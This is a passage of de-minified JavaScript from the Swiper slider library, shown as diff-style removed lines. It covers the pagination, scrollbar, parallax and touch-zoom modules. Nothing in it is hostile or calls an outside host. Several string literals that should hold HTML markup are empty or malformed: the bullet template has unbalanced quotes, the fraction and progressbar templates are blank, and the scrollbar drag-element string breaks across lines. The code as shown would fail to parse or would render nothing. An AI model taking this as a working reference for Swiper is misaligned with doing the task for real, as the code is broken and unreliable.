(t.pagination.bulletSize * v - t.pagination.bulletSize) / 2 - f * t.pagination.bulletSize; - var g = i ? "right" : "left"; - l.css(t.isHorizontal() ? g : "top", _ + "px") - } - } - if (n.type === "fraction") { - a.find("." + n.currentClass).text(n.formatFractionCurrent(s + 1)); - a.find("." + n.totalClass).text(n.formatFractionTotal(o)) - } - if (n.type === "progressbar") { - var b = void 0; - if (n.progressbarOpposite) { - b = t.isHorizontal() ? "vertical" : "horizontal" - } else { - b = t.isHorizontal() ? "horizontal" : "vertical" - } - var w = (s + 1) / o; - var M = 1; - var k = 1; - if (b === "horizontal") { - M = w - } else { - k = w - } - a.find("." + n.progressbarFillClass).transform("translate3d(0,0,0) scaleX(" + M + ") scaleY(" + k + ")").transition(t.params.speed) - } - if (n.type === "custom" && n.renderCustom) { - a.html(n.renderCustom(t, s + 1, o)); - t.emit("paginationRender", t, a[0]) - } else { - t.emit("paginationUpdate", t, a[0]) - } - a[t.params.watchOverflow && t.isLocked ? "addClass" : "removeClass"](n.lockClass) - }, - render: function e() { - var t = this; - var i = t.params.pagination; - if (!i.el || !t.pagination.el || !t.pagination.$el || t.pagination.$el.length === 0) return; - var n = t.virtual && t.params.virtual.enabled ? t.virtual.slides.length : t.slides.length; - var r = t.pagination.$el; - var a = ""; - if (i.type === "bullets") { - var s = t.params.loop ? Math.ceil((n - t.loopedSlides * 2) / t.params.slidesPerGroup) : t.snapGrid.length; - for (var o = 0; o < s; o += 1) { - if (i.renderBullet) { - a += i.renderBullet.call(t, o, i.bulletClass) - } else { - a += "<" + i.bulletElement + ' class="' + i.bulletClass + '">" - } - } - r.html(a); - t.pagination.bullets = r.find("." + i.bulletClass) - } - if (i.type === "fraction") { - if (i.renderFraction) { - a = i.renderFraction.call(t, i.currentClass, i.totalClass) - } else { - a = '' + " / " + ('') - } - r.html(a) - } - if (i.type === "progressbar") { - if (i.renderProgressbar) { - a = i.renderProgressbar.call(t, i.progressbarFillClass) - } else { - a = '' - } - r.html(a) - } - if (i.type !== "custom") { - t.emit("paginationRender", t.pagination.$el[0]) - } - }, - init: function e() { - var t = this; - var i = t.params.pagination; - if (!i.el) return; - var n = (0, y.$)(i.el); - if (n.length === 0) return; - if (t.params.uniqueNavElements && typeof i.el === "string" && n.length > 1 && t.$el.find(i.el).length === 1) { - n = t.$el.find(i.el) - } - if (i.type === "bullets" && i.clickable) { - n.addClass(i.clickableClass) - } - n.addClass(i.modifierClass + i.type); - if (i.type === "bullets" && i.dynamicBullets) { - n.addClass("" + i.modifierClass + i.type + "-dynamic"); - t.pagination.dynamicBulletIndex = 0; - if (i.dynamicMainBullets < 1) { - i.dynamicMainBullets = 1 - } - } - if (i.type === "progressbar" && i.progressbarOpposite) { - n.addClass(i.progressbarOppositeClass) - } - if (i.clickable) { - n.on("click", "." + i.bulletClass, function e(i) { - i.preventDefault(); - var n = (0, y.$)(this).index() * t.params.slidesPerGroup; - if (t.params.loop) n += t.loopedSlides; - t.slideTo(n) - }) - } - k.extend(t.pagination, { - $el: n, - el: n[0] - }) - }, - destroy: function e() { - var t = this; - var i = t.params.pagination; - if (!i.el || !t.pagination.el || !t.pagination.$el || t.pagination.$el.length === 0) return; - var n = t.pagination.$el; - n.removeClass(i.hiddenClass); - n.removeClass(i.modifierClass + i.type); - if (t.pagination.bullets) t.pagination.bullets.removeClass(i.bulletActiveClass); - if (i.clickable) { - n.off("click", "." + i.bulletClass) - } - } - }; - var Ze = { - name: "pagination", - params: { - pagination: { - el: null, - bulletElement: "span", - clickable: false, - hideOnClick: false, - renderBullet: null, - renderProgressbar: null, - renderFraction: null, - renderCustom: null, - progressbarOpposite: false, - type: "bullets", - dynamicBullets: false, - dynamicMainBullets: 1, - formatFractionCurrent: function e(t) { - return t - }, - formatFractionTotal: function e(t) { - return t - }, - bulletClass: "swiper-pagination-bullet", - bulletActiveClass: "swiper-pagination-bullet-active", - modifierClass: "swiper-pagination-", - currentClass: "swiper-pagination-current", - totalClass: "swiper-pagination-total", - hiddenClass: "swiper-pagination-hidden", - progressbarFillClass: "swiper-pagination-progressbar-fill", - progressbarOppositeClass: "swiper-pagination-progressbar-opposite", - clickableClass: "swiper-pagination-clickable", - lockClass: "swiper-pagination-lock" - } - }, - create: function e() { - var t = this; - k.extend(t, { - pagination: { - init: Qe.init.bind(t), - render: Qe.render.bind(t), - update: Qe.update.bind(t), - destroy: Qe.destroy.bind(t), - dynamicBulletIndex: 0 - } - }) - }, - on: { - init: function e() { - var t = this; - t.pagination.init(); - t.pagination.render(); - t.pagination.update() - }, - activeIndexChange: function e() { - var t = this; - if (t.params.loop) { - t.pagination.update() - } else if (typeof t.snapIndex === "undefined") { - t.pagination.update() - } - }, - snapIndexChange: function e() { - var t = this; - if (!t.params.loop) { - t.pagination.update() - } - }, - slidesLengthChange: function e() { - var t = this; - if (t.params.loop) { - t.pagination.render(); - t.pagination.update() - } - }, - snapGridLengthChange: function e() { - var t = this; - if (!t.params.loop) { - t.pagination.render(); - t.pagination.update() - } - }, - destroy: function e() { - var t = this; - t.pagination.destroy() - }, - click: function e(t) { - var i = this; - if (i.params.pagination.el && i.params.pagination.hideOnClick && i.pagination.$el.length > 0 && !(0, y.$)(t.target).hasClass(i.params.pagination.bulletClass)) { - i.pagination.$el.toggleClass(i.params.pagination.hiddenClass) - } - } - } - }; - var et = { - setTranslate: function e() { - var t = this; - if (!t.params.scrollbar.el || !t.scrollbar.el) return; - var i = t.scrollbar, - n = t.rtlTranslate, - r = t.progress; - var a = i.dragSize, - s = i.trackSize, - o = i.$dragEl, - l = i.$el; - var u = t.params.scrollbar; - var d = a; - var f = (s - a) * r; - if (n) { - f = -f; - if (f > 0) { - d = a - f; - f = 0 - } else if (-f + a > s) { - d = s + f - } - } else if (f < 0) { - d = a + f; - f = 0 - } else if (f + a > s) { - d = s - f - } - if (t.isHorizontal()) { - if (L.transforms3d) { - o.transform("translate3d(" + f + "px, 0, 0)") - } else { - o.transform("translateX(" + f + "px)") - } - o[0].style.width = d + "px" - } else { - if (L.transforms3d) { - o.transform("translate3d(0px, " + f + "px, 0)") - } else { - o.transform("translateY(" + f + "px)") - } - o[0].style.height = d + "px" - } - if (u.hide) { - clearTimeout(t.scrollbar.timeout); - l[0].style.opacity = 1; - t.scrollbar.timeout = setTimeout(function () { - l[0].style.opacity = 0; - l.transition(400) - }, 1e3) - } - }, - setTransition: function e(t) { - var i = this; - if (!i.params.scrollbar.el || !i.scrollbar.el) return; - i.scrollbar.$dragEl.transition(t) - }, - updateSize: function e() { - var t = this; - if (!t.params.scrollbar.el || !t.scrollbar.el) return; - var i = t.scrollbar; - var n = i.$dragEl, - r = i.$el; - n[0].style.width = ""; - n[0].style.height = ""; - var a = t.isHorizontal() ? r[0].offsetWidth : r[0].offsetHeight; - var s = t.size / t.virtualSize; - var o = s * (a / t.size); - var l = void 0; - if (t.params.scrollbar.dragSize === "auto") { - l = a * s - } else { - l = parseInt(t.params.scrollbar.dragSize, 10) - } - if (t.isHorizontal()) { - n[0].style.width = l + "px" - } else { - n[0].style.height = l + "px" - } - if (s >= 1) { - r[0].style.display = "none" - } else { - r[0].style.display = "" - } - if (t.params.scrollbarHide) { - r[0].style.opacity = 0 - } - k.extend(i, { - trackSize: a, - divider: s, - moveDivider: o, - dragSize: l - }); - i.$el[t.params.watchOverflow && t.isLocked ? "addClass" : "removeClass"](t.params.scrollbar.lockClass) - }, - setDragPosition: function e(t) { - var i = this; - var n = i.scrollbar, - r = i.rtlTranslate; - var a = n.$el, - s = n.dragSize, - o = n.trackSize; - var l = void 0; - if (i.isHorizontal()) { - l = t.type === "touchstart" || t.type === "touchmove" ? t.targetTouches[0].pageX : t.pageX || t.clientX - } else { - l = t.type === "touchstart" || t.type === "touchmove" ? t.targetTouches[0].pageY : t.pageY || t.clientY - } - var u = void 0; - u = (l - a.offset()[i.isHorizontal() ? "left" : "top"] - s / 2) / (o - s); - u = Math.max(Math.min(u, 1), 0); - if (r) { - u = 1 - u - } - var d = i.minTranslate() + (i.maxTranslate() - i.minTranslate()) * u; - i.updateProgress(d); - i.setTranslate(d); - i.updateActiveIndex(); - i.updateSlidesClasses() - }, - onDragStart: function e(t) { - var i = this; - var n = i.params.scrollbar; - var r = i.scrollbar, - a = i.$wrapperEl; - var s = r.$el, - o = r.$dragEl; - i.scrollbar.isTouched = true; - t.preventDefault(); - t.stopPropagation(); - a.transition(100); - o.transition(100); - r.setDragPosition(t); - clearTimeout(i.scrollbar.dragTimeout); - s.transition(0); - if (n.hide) { - s.css("opacity", 1) - } - i.emit("scrollbarDragStart", t) - }, - onDragMove: function e(t) { - var i = this; - var n = i.scrollbar, - r = i.$wrapperEl; - var a = n.$el, - s = n.$dragEl; - if (!i.scrollbar.isTouched) return; - if (t.preventDefault) t.preventDefault(); - else t.returnValue = false; - n.setDragPosition(t); - r.transition(0); - a.transition(0); - s.transition(0); - i.emit("scrollbarDragMove", t) - }, - onDragEnd: function e(t) { - var i = this; - var n = i.params.scrollbar; - var r = i.scrollbar; - var a = r.$el; - if (!i.scrollbar.isTouched) return; - i.scrollbar.isTouched = false; - if (n.hide) { - clearTimeout(i.scrollbar.dragTimeout); - i.scrollbar.dragTimeout = k.nextTick(function () { - a.css("opacity", 0); - a.transition(400) - }, 1e3) - } - i.emit("scrollbarDragEnd", t); - if (n.snapOnRelease) { - i.slideToClosest() - } - }, - enableDraggable: function e() { - var t = this; - if (!t.params.scrollbar.el) return; - var i = t.scrollbar, - n = t.touchEvents, - r = t.touchEventsDesktop, - a = t.params; - var s = i.$el; - var o = s[0]; - var l = L.passiveListener && a.passiveListeners ? { - passive: false, - capture: false - } : false; - var u = L.passiveListener && a.passiveListeners ? { - passive: true, - capture: false - } : false; - if (!L.touch && (L.pointerEvents || L.prefixedPointerEvents)) { - o.addEventListener(r.start, t.scrollbar.onDragStart, l); - b.document.addEventListener(r.move, t.scrollbar.onDragMove, l); - b.document.addEventListener(r.end, t.scrollbar.onDragEnd, u) - } else { - if (L.touch) { - o.addEventListener(n.start, t.scrollbar.onDragStart, l); - o.addEventListener(n.move, t.scrollbar.onDragMove, l); - o.addEventListener(n.end, t.scrollbar.onDragEnd, u) - } - if (a.simulateTouch && !ce.ios && !ce.android || a.simulateTouch && !L.touch && ce.ios) { - o.addEventListener("mousedown", t.scrollbar.onDragStart, l); - b.document.addEventListener("mousemove", t.scrollbar.onDragMove, l); - b.document.addEventListener("mouseup", t.scrollbar.onDragEnd, u) - } - } - }, - disableDraggable: function e() { - var t = this; - if (!t.params.scrollbar.el) return; - var i = t.scrollbar, - n = t.touchEvents, - r = t.touchEventsDesktop, - a = t.params; - var s = i.$el; - var o = s[0]; - var l = L.passiveListener && a.passiveListeners ? { - passive: false, - capture: false - } : false; - var u = L.passiveListener && a.passiveListeners ? { - passive: true, - capture: false - } : false; - if (!L.touch && (L.pointerEvents || L.prefixedPointerEvents)) { - o.removeEventListener(r.start, t.scrollbar.onDragStart, l); - b.document.removeEventListener(r.move, t.scrollbar.onDragMove, l); - b.document.removeEventListener(r.end, t.scrollbar.onDragEnd, u) - } else { - if (L.touch) { - o.removeEventListener(n.start, t.scrollbar.onDragStart, l); - o.removeEventListener(n.move, t.scrollbar.onDragMove, l); - o.removeEventListener(n.end, t.scrollbar.onDragEnd, u) - } - if (a.simulateTouch && !ce.ios && !ce.android || a.simulateTouch && !L.touch && ce.ios) { - o.removeEventListener("mousedown", t.scrollbar.onDragStart, l); - b.document.removeEventListener("mousemove", t.scrollbar.onDragMove, l); - b.document.removeEventListener("mouseup", t.scrollbar.onDragEnd, u) - } - } - }, - init: function e() { - var t = this; - if (!t.params.scrollbar.el) return; - var i = t.scrollbar, - n = t.$el; - var r = t.params.scrollbar; - var a = (0, y.$)(r.el); - if (t.params.uniqueNavElements && typeof r.el === "string" && a.length > 1 && n.find(r.el).length === 1) { - a = n.find(r.el) - } - var s = a.find("." + t.params.scrollbar.dragClass); - if (s.length === 0) { - s = (0, y.$)('
'); - a.append(s) - } - k.extend(i, { - $el: a, - el: a[0], - $dragEl: s, - dragEl: s[0] - }); - if (r.draggable) { - i.enableDraggable() - } - }, - destroy: function e() { - var t = this; - t.scrollbar.disableDraggable() - } - }; - var tt = { - name: "scrollbar", - params: { - scrollbar: { - el: null, - dragSize: "auto", - hide: false, - draggable: false, - snapOnRelease: true, - lockClass: "swiper-scrollbar-lock", - dragClass: "swiper-scrollbar-drag" - } - }, - create: function e() { - var t = this; - k.extend(t, { - scrollbar: { - init: et.init.bind(t), - destroy: et.destroy.bind(t), - updateSize: et.updateSize.bind(t), - setTranslate: et.setTranslate.bind(t), - setTransition: et.setTransition.bind(t), - enableDraggable: et.enableDraggable.bind(t), - disableDraggable: et.disableDraggable.bind(t), - setDragPosition: et.setDragPosition.bind(t), - onDragStart: et.onDragStart.bind(t), - onDragMove: et.onDragMove.bind(t), - onDragEnd: et.onDragEnd.bind(t), - isTouched: false, - timeout: null, - dragTimeout: null - } - }) - }, - on: { - init: function e() { - var t = this; - t.scrollbar.init(); - t.scrollbar.updateSize(); - t.scrollbar.setTranslate() - }, - update: function e() { - var t = this; - t.scrollbar.updateSize() - }, - resize: function e() { - var t = this; - t.scrollbar.updateSize() - }, - observerUpdate: function e() { - var t = this; - t.scrollbar.updateSize() - }, - setTranslate: function e() { - var t = this; - t.scrollbar.setTranslate() - }, - setTransition: function e(t) { - var i = this; - i.scrollbar.setTransition(t) - }, - destroy: function e() { - var t = this; - t.scrollbar.destroy() - } - } - }; - var it = { - setTransform: function e(t, i) { - var n = this; - var r = n.rtl; - var a = (0, y.$)(t); - var s = r ? -1 : 1; - var o = a.attr("data-swiper-parallax") || "0"; - var l = a.attr("data-swiper-parallax-x"); - var u = a.attr("data-swiper-parallax-y"); - var d = a.attr("data-swiper-parallax-scale"); - var f = a.attr("data-swiper-parallax-opacity"); - if (l || u) { - l = l || "0"; - u = u || "0" - } else if (n.isHorizontal()) { - l = o; - u = "0" - } else { - u = o; - l = "0" - } - if (l.indexOf("%") >= 0) { - l = parseInt(l, 10) * i * s + "%" - } else { - l = l * i * s + "px" - } - if (u.indexOf("%") >= 0) { - u = parseInt(u, 10) * i + "%" - } else { - u = u * i + "px" - } - if (typeof f !== "undefined" && f !== null) { - var c = f - (f - 1) * (1 - Math.abs(i)); - a[0].style.opacity = c - } - if (typeof d === "undefined" || d === null) { - a.transform("translate3d(" + l + ", " + u + ", 0px)") - } else { - var h = d - (d - 1) * (1 - Math.abs(i)); - a.transform("translate3d(" + l + ", " + u + ", 0px) scale(" + h + ")") - } - }, - setTranslate: function e() { - var t = this; - var i = t.$el, - n = t.slides, - r = t.progress, - a = t.snapGrid; - i.children("[data-swiper-parallax], [data-swiper-parallax-x], [data-swiper-parallax-y]").each(function (e, i) { - t.parallax.setTransform(i, r) - }); - n.each(function (e, i) { - var n = i.progress; - if (t.params.slidesPerGroup > 1 && t.params.slidesPerView !== "auto") { - n += Math.ceil(e / 2) - r * (a.length - 1) - } - n = Math.min(Math.max(n, -1), 1); - (0, y.$)(i).find("[data-swiper-parallax], [data-swiper-parallax-x], [data-swiper-parallax-y]").each(function (e, i) { - t.parallax.setTransform(i, n) - }) - }) - }, - setTransition: function e() { - var t = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.params.speed; - var i = this; - var n = i.$el; - n.find("[data-swiper-parallax], [data-swiper-parallax-x], [data-swiper-parallax-y]").each(function (e, i) { - var n = (0, y.$)(i); - var r = parseInt(n.attr("data-swiper-parallax-duration"), 10) || t; - if (t === 0) r = 0; - n.transition(r) - }) - } - }; - var nt = { - name: "parallax", - params: { - parallax: { - enabled: false - } - }, - create: function e() { - var t = this; - k.extend(t, { - parallax: { - setTransform: it.setTransform.bind(t), - setTranslate: it.setTranslate.bind(t), - setTransition: it.setTransition.bind(t) - } - }) - }, - on: { - beforeInit: function e() { - var t = this; - if (!t.params.parallax.enabled) return; - t.params.watchSlidesProgress = true; - t.originalParams.watchSlidesProgress = true - }, - init: function e() { - var t = this; - if (!t.params.parallax) return; - t.parallax.setTranslate() - }, - setTranslate: function e() { - var t = this; - if (!t.params.parallax) return; - t.parallax.setTranslate() - }, - setTransition: function e(t) { - var i = this; - if (!i.params.parallax) return; - i.parallax.setTransition(t) - } - } - }; - var rt = { - getDistanceBetweenTouches: function e(t) { - if (t.targetTouches.length < 2) return 1; - var i = t.targetTouches[0].pageX; - var n = t.targetTouches[0].pageY; - var r = t.targetTouches[1].pageX; - var a = t.targetTouches[1].pageY; - var s = Math.sqrt(Math.pow(r - i, 2) + Math.pow(a - n, 2)); - return s - }, - onGestureStart: function e(t) { - var i = this; - var n = i.params.zoom; - var r = i.zoom; - var a = r.gesture; - r.fakeGestureTouched = false; - r.fakeGestureMoved = false; - if (!L.gestures) { - if (t.type !== "touchstart" || t.type === "touchstart" && t.targetTouches.length < 2) { - return - } - r.fakeGestureTouched = true; - a.scaleStart = rt.getDistanceBetweenTouches(t) - } - if (!a.$slideEl || !a.$slideEl.length) { - a.$slideEl = (0, y.$)(t.target).closest(".swiper-slide"); - if (a.$slideEl.length === 0) a.$slideEl = i.slides.eq(i.activeIndex); - a.$imageEl = a.$slideEl.find("img, svg, canvas"); - a.$imageWrapEl = a.$imageEl.parent("." + n.containerClass); - a.maxRatio = a.$imageWrapEl.attr("data-swiper-zoom") || n.maxRatio; - if (a.$imageWrapEl.length === 0) { - a.$imageEl = undefined; - return - } - } - a.$imageEl.transition(0); - i.zoom.isScaling = true - }, - onGestureChange: function e(t) { - var i = this; - var n = i.params.zoom; - var r = i.zoom; - var a = r.gesture; - if (!L.gestures) { - if (t.type !== "touchmove" || t.type === "touchmove" && t.targetTouches.length < 2) { - return - } - r.fakeGestureMoved = true; - a.scaleMove = rt.getDistanceBetweenTouches(t) - } - if (!a.$imageEl || a.$imageEl.length === 0) return; - if (L.gestures) { - i.zoom.scale = t.scale * r.currentScale - } else { - r.scale = a.scaleMove / a.scaleStart * r.currentScale - } - if (r.scale > a.maxRatio) { - r.scale = a.maxRatio - 1 + Math.pow(r.scale - a.maxRatio + 1, .5) - } - if (r.scale < n.minRatio) { - r.scale = n.minRatio + 1 - Math.pow(n.minRatio - r.scale + 1, .5) - } - a.$imageEl.transform("translate3d(0,0,0) scale(" + r.scale + ")") - }, - onGestureEnd: function e(t) { - var i = this; - var n = i.params.zoom; - var r = i.zoom; - var a = r.gesture; - if (!L.gestures) { - if (!r.fakeGestureTouched || !r.fakeGestureMoved) { - return - } - if (t.type !== "touchend" || t.type === "touchend" && t.changedTouches.length < 2 && !ce.android) { - return - } - r.fakeGestureTouched = false; - r.fakeGestureMoved = false - } - if (!a.$imageEl || a.$imageEl.length === 0) return; - r.scale = Math.max(Math.min(r.scale, a.maxRatio), n.minRatio); - a.$imageEl.transition(i.params.speed).transform("translate3d(0,0,0) scale(" + r.scale + ")"); - r.currentScale = r.scale; - r.isScaling = false; - if (r.scale === 1) a.$slideEl = undefined - }, - onTouchStart: function e(t) { - var i = this; - var n = i.zoom; - var r = n.gesture, - a = n.image; - if (!r.$imageEl || r.$imageEl.length === 0) return; - if (a.isTouched) return; - if (ce.android) t.preventDefault(); - a.isTouched = true; - a.touchesStart.x = t.type === "touchstart" ? t.targetTouches[0].pageX : t.pageX; - a.touchesStart.y = t.type === "touchstart" ? t.targetTouches[0].pageY : t.pageY - }, - onTouchMove: function e(t) { - var i = this; - var n = i.zoom; - var r = n.gesture, - a = n.image, - s = n.velocity; - if (!r.$imageEl || r.$imageEl.length === 0) return; - i.allowClick = false; - if (!a.isTouched || !r.$slideEl) return; - if (!a.isMoved) { - a.width = r.$imageEl[0].offsetWidth; - a.height = r.$imageEl[0].offsetHeight; - a.startX = k.getTranslate(r.$imageWrapEl[0], "x") || 0; - a.startY = k.getTranslate(r.$imageWrapEl[0], "y") || 0; - r.slideWidth = r.$slideEl[0].offsetWidth; - r.slideHeight = r.$slideEl[0].offsetHeight; - r.$imageWrapEl.transition(0); - if (i.rtl) { - a.startX = -a.startX; - a.startY = -a.startY - } - } - var o = a.width * n.scale; - var l = a.height * n.scale; - if (o < r.slideWidth && l < r.slideHeight) return; - a.minX = Math.min(r.slideWidth / 2 - o / 2, 0); - a.maxX = -a.minX; - a.minY = Math.min(r.slideHeight / 2 - l / 2, 0); - a.maxY = -a.minY; - a.touchesCurrent.x = t.type === "touchmove" ? t.targetTouches[0].pageX : t.pageX; - a.touchesCurrent.y = t.type === "touchmove" ? t.targetTouches[0].pageY : t.pageY; - if (!a.isMoved && !n.isScaling) { - if (i.isHorizontal() && (Math.floor(a.minX) === Math.floor(a.startX) && a.touchesCurrent.x < a.touchesStart.x || Math.floor(a.maxX) === Math.floor(a.startX) && a.touchesCurrent.x > a.touchesStart.x)) { - a.isTouched = false; - return - } - if (!i.isHorizontal() && (Math.floor(a.minY) === Math.floor(a.startY) && a.touchesCurrent.y < a.touchesStart.y || Math.floor(a.maxY) === Math.floor(a.startY) && a.touchesCurrent.y > a.touchesStart.y)) { - a.isTouched = false; - return - } - } - t.preventDefault(); - t.stopPropagation(); - a.isMoved = true; - a.currentX = a.touchesCurrent.x - a.touchesStart.x + a.startX; - a.currentY = a.touchesCurrent.y - a.touchesStart.y + a.startY; - if (a.currentX < a.minX) { - a.currentX = a.minX + 1 - Math.pow(a.minX - a.currentX + 1, .8) - } - if (a.currentX > a.maxX) { - a.currentX = a.maxX - 1 + Math.pow(a.currentX - a.maxX + 1, .8) - } - if (a.currentY < a.minY) { - a.currentY = a.minY + 1 - Math.pow(a.minY - a.currentY + 1, .8) - } - if (a.currentY > a.maxY) { - a.currentY = a.maxY - 1 + Math.pow(a.currentY - a.maxY + 1, .8) - } - if (!s.prevPositionX) s.prevPositionX = a.touchesCurrent.x; - if (!s.prevPositionY) s.prevPositionY = a.touchesCurrent.y; - if (!s.prevTime) s.prevTime = Date.now(); - s.x = (a.touchesCurrent.x - s.prevPositionX) / (Date.now() - s.prevTime) / 2; - s.y = (a.touchesCurrent.y - s.prevPositionY) / (Date.now() - s.prevTime) / 2; - if (Math.abs(a.touchesCurrent.x - s.prevPositionX) < 2) s.x = 0; - if (Math.abs(a.touchesCurrent.y - s.prevPositionY) < 2) s.y = 0; - s.prevPositionX = a.touchesCurrent.x; - s.prevPositionY = a.touchesCurrent.y; - s.prevTime = Date.now(); - r.$imageWrapEl.transform("translate3d(" + a.currentX + "px, " + a.currentY + "px,0)") - }, - onTouchEnd: function e() { - var t = this; - var i = t.zoom; - var n = i.gesture, - r = i.image, - a = i.velocity; - if (!n.$imageEl || n.$imageEl.length === 0) return; - if (!r.isTouched || !r.isMoved) { - r.isTouched = false; - r.isMoved = false; - return - } - r.isTouched = false; - r.isMoved = false; - var s = 300; - var o = 300; - var l = a.x * s; - var u = r.currentX + l; - var d = a.y * o; - var f = r.currentY + d; - if (a.x !== 0) s = Math.abs((u - r.currentX) / a.x); - if (a.y !== 0) o = Math.abs((f - r.currentY) / a.y); - var c = Math.max(s, o); - r.currentX = u; - r.currentY = f; - var h = r.width * i.scale; - var m = r.height * i.scale; - r.minX = Math.min(n.slideWidth / 2 - h / 2, 0); - r.maxX = -r.minX; - r.minY = Math.min(n.slideHeight / 2 - m / 2, 0); - r.maxY = -r.minY; - r.currentX = Math.max(Math.min(r.currentX, r.maxX), r.minX); - r.currentY = Math.max(Math.min(r.currentY, r.maxY), r.minY); - n.$imageWrapEl.transition(c).transform("translate3d(" + r.currentX + "px, " + r.currentY + "px,0)") - }, - onTransitionEnd: function e() { - var t = this; - var i = t.zoom; - var n = i.gesture; - if (n.$slideEl && t.previousIndex !== t.activeIndex) { - n.$imageEl.transform("translate3d(0,0,0) scale(1)"); - n.$imageWrapEl.transform("translate3d(0,0,0)"); - n.$slideEl = undefined; - n.$imageEl = undefined; - n.$imageWrapEl = undefined; - i.scale = 1; - i.currentScale = 1 - } - }, - toggle: function e(t) { - var i = this; - var n = i.zoom; - if (n.scale && n.scale !== 1) { - n.out() - } else { - n.in(t) - } - }, - in: function e(t) { - var i = this; - var n = i.zoom; - var r = i.params.zoom; - var a = n.gesture, - s = n.image; - if (!a.$slideEl) { - a.$slideEl = i.clickedSlide ? (0, y.$)(i.clickedSlide) : i.slides.eq(i.activeIndex); - a.$imageEl = a.$slideEl.find("img, svg, canvas"); - a.$imageWrapEl = a.$imageEl.parent("." + r.containerClass) - } - if (!a.$imageEl || a.$imageEl.length === 0) return; - a.$slideEl.addClass("" + r.zoomedSlideClass); - var o = void 0; - var l = void 0; - var u = void 0; - var d = void 0; - var f = void 0; - var c = void 0; - var h = void 0; - var m = void 0; - var p = void 0; - var v = void 0; - var _ = void 0; - var g = void 0; - var b = void 0; - var w = void 0; - var M = void 0; - var k = void 0; - var L = void 0; - var T = void 0; - if (typeof s.touchesStart.x === "undefined" && t) { - o = t.type === "touchend" ? t.changedTouches[0].pageX : t.pageX; - l = t.type === "touchend" ? t.changedTouches[0].pageY : t.pageY - } else { - o = s.touchesStart.x; - l = s.touchesStart.y - } - n.scale = a.$imageWrapEl.attr("data-swiper-zoom") || r.maxRatio; - n.currentScale = a.$imageWrapEl.attr("data-swiper-zoom") || r.maxRatio; - if (t) { - L = a.$slideEl[0].offsetWidth; - T = a.$slideEl[0].offsetHeight; - u = a.$slideEl.offset().left; - d = a.$slideEl.offset().top; - f = u + L / 2 - o; - c = d + T / 2 - l; - p = a.$imageEl[0].offsetWidth; - v = a.$imageEl[0].offsetHeight; - _ = p * n.scale; - g = v * n.scale; - b = Math.min(L / 2 - _ / 2, 0); - w = Math.min(T / 2 - g / 2, 0); - M = -b; - k = -w; - h = f * n.scale; - m = c * n.scale; - if (h < b) { - h = b - } - if (h > M) { - h = M - } - if (m < w) { - m = w - } - if (m > k) { - m = k - } - } else { - h = 0; - m = 0 - } - a.$imageWrapEl.transition(300).transform("translate3d(" + h + "px, " + m + "px,0)"); - a.$imageEl.transition(300).transform("translate3d(0,0,0) scale(" + n.scale + ")") - }, - out: function e() { - var t = this; - var i = t.zoom; - var n = t.params.zoom; - var r = i.gesture; - if (!r.$slideEl) { - r.$slideEl = t.clickedSlide ? (0, y.$)(t.clickedSlide) : t.slides.eq(t.activeIndex); - r.$imageEl = r.$slideEl.find("img, svg, canvas"); - r.$imageWrapEl = r.$imageEl.parent("." + n.containerClass) - } - if (!r.$imageEl || r.$imageEl.length === 0) return; - i.scale = 1; - i.currentScale = 1; - r.$imageWrapEl.transition(300).transform("translate3d(0,0,0)"); - r.$imageEl.transition(300).transform("translate3d(0,0,0) scale(1)"); - r.$slideEl.removeClass("" + n.zoomedSlideClass); - r.$slideEl = undefined - }, - enable: function e() { - var t = this; - var i = t.zoom; - if (i.enabled) return; - i.enabled = true; - var n = t.touchEvents.start === "touchstart" && L.passiveListener && t.params.passiveListeners ? { - passive: true, - capture: false - } : false; - if (L.gestures) { - t.$wrapperEl.on("gesturestart", ".swiper-slide", i.onGestureStart, n); - t.$wrapperEl.on("gesturechange", ".swiper-slide", i.onGestureChange, n); - t.$wrapperEl.on("gestureend", ".swiper-slide", i.onGestureEnd, n) - } else if (t.touchEvents.start === "touchstart") { - t.$wrapperEl.on(t.touchEvents.start, ".swiper-slide", i.onGestureStart, n); - t.$wrapperEl.on(t.touchEvents.move, ".swiper-slide", i.onGestureChange, n); - t.$wrapperEl.on(t.touchEvents.end, ".swiper-slide", i.onGestureEnd, n) - } - t.$wrapperEl.on(t.touchEvents.move, "." + t.params.zoom.containerClass, i.onTouchMove) - }, - disable: function e() { - var t = this; - var i = t.zoom; - if (!i.enabled) return; - t.zoom.enabled = false; - var n = t.touchEvents.start === "touchstart" && L.passiveListener && t.params.passiveListeners ? { - passive: true, - capture: false - } : false; - if (L.gestures) { - t.$wrapperEl.off("gesturestart", ".swiper-slide", i.onGestureStart, n); - t.$wrapperEl.off("gesturechange", ".swiper-slide", i.onGestureChange, n); - t.$wrapperEl.off("gestureend", ".swiper-slide", i.onGestureEnd, n) - } else if (t.touchEvents.start === "touchstart") { - t.$wrapperEl.off(t.touchEvents.start, ".swiper-slide", i.onGestureStart, n); - t.$wrapperEl.off(t.touchEvents.move, ".swiper-slide", i.onGestureChange, n); - t.$wrapperEl.off(t.touchEvents.end, ".swiper-slide", i.onGestureEnd, n) - } - t.$wrapperEl.off(t.touchEvents.move, "." + t.params.zoom.containerClass, i.onTouchMove) - } - }; - var at = { - name: "zoom", - params: { - zoom: { - enabled: false, - maxRatio: 3, - minRatio: 1, - toggle: true, - containerClass: "swiper-zoom-container", - zoomedSlideClass: "swiper-slide-zoomed" - } - }, - create: function e() { - var t = this; - var i = { - enabled: false, - scale: 1, - currentScale: 1, - isScaling: false, - gesture: { - $slideEl: undefined, - slideWidth: undefined, - slideHeight: undefined, - $imageEl: undefined, - $imageWrapEl: undefined, - maxRatio: 3 - }, - image: { - isTouched: undefined, - isMoved: undefined, - currentX: undefined, - currentY: undefined, - minX: undefined, - minY: undefined, - maxX: undefined, - maxY: undefined, - width: undefined, - height: undefined, - startX: undefined, - startY: undefined, - touchesStart: {}, - touchesCurrent: {} - }, - velocity: { - x: undefined, - y: undefined, - prevPositionX: undefined, - prevPositionY: undefined, - prevTime: undefined - } - }; - "onGestureStart onGestureChange onGestureEnd onTouchStart onTouchMove onTouchEnd onTransitionEnd toggle enable disable in out".split(" ").forEach(function (e) { - i[e] = rt[e].bind(t) - }); - k.extend(t, { - zoom: i - }) - }, - on: { - init: function e() { - var t = this; - if (t.params.zoom.enabled) { - t.zoom.enable() - } - }, - destroy: function e() { - var t = this; - t.zoom.disable() - }, - touchStart: function e(t) { - var i = this; - if (!i.zoom.enabled) return; - i.zoom.onTouchStart(t) - }, - touchEnd: function e(t) { - var i = this; - if (!i.zoom.enabled) return; - 